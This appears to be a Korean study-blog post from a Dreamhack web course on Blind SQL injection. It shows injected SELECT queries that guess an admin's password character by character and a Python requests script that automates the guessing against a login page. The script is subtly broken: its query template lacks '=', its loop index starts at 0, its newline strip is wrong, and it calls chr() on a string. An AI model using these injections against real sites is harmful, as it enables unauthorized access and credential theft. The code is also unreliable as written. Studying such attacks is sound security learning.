dreamhack web 공부
Blind SQL Injection 시 사용하는 함수
- ascii(''): 전달된 문자를 아스키 형태로 반환. ascii('a')=97
- substr(): 문자열에서 지정한 위치부터 길이까지의 값을 가져온다.
- substr('문자열',시작위치,몇개)
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw='';
uid=admin이고 substr(upw칼럼의 첫번째 글자)=114(r) 인 것이 있느니뇨?
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw='';
uid=admin이고 substr(ipw칼럼의 첫번째 글자)=115(s) 인 것이 있냐?
이런식임
한 바이트 씩 비교하여 공격하기에 시간이 오래 걸린다.
= 스크립트를 짜야 한다.
<공격 스크립트 짤 때 유용한 lib>
requests 모듈 (HTTP 통신 위한 py lib)
해당 모듈을 통해 http 요청 보낼 수 있으며 응답 확인도 가능함.
- requests.get: GET 메소드를 사용하여 HTTP 요청을 보내는 함수. URL, Header, Parameter를 함께 전송할 수 있음.
- request.post: POST 메소드 사용하여 HTTP 요청을 보내는 함수. URL, Header, Body(data)를 함께 전송할 수 있음.
Blind SQL Injection 스크립트 작성하기
import requests
import string
url="http://example.com/loging"
params={
'uid': '',
'upw': ''
}
#패스워드에 포함될 수 있는 문자를 string 모듈을 통해 생성
tc=string.ascii_letters + string.digits+string.punctuation
#abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query= '''
admin' and ascii(substr(upw,{idx},1)){val}--
'''
password=''
# 한 바이트씩 모든 문자를 비교하는 반복문.
for idx in range(0,20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("/n")
c=requests.get(url, params=params)
print(c.request.url)
# 반복문 실행 중 반환 결과가 참일 경우 페이지 내에서 Login Success 문자열을 찾는다.
# 해당 결과를 반환한 문자 ch를 password 변수에 저장함.
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
'보안 > 웹·모바일' 카테고리의 다른 글
Error-based SQL Injection 실습 (0) | 2022.07.12 |
---|---|
Non-Relational DBMS이란 (0) | 2022.07.08 |
CSRF(Cross-Site Request Forgery) (0) | 2022.07.07 |
XSS(Cross-Site Scripting) 기초 공부 (0) | 2022.07.07 |
동일 출처 정책(Same Origin Policy) (0) | 2022.07.07 |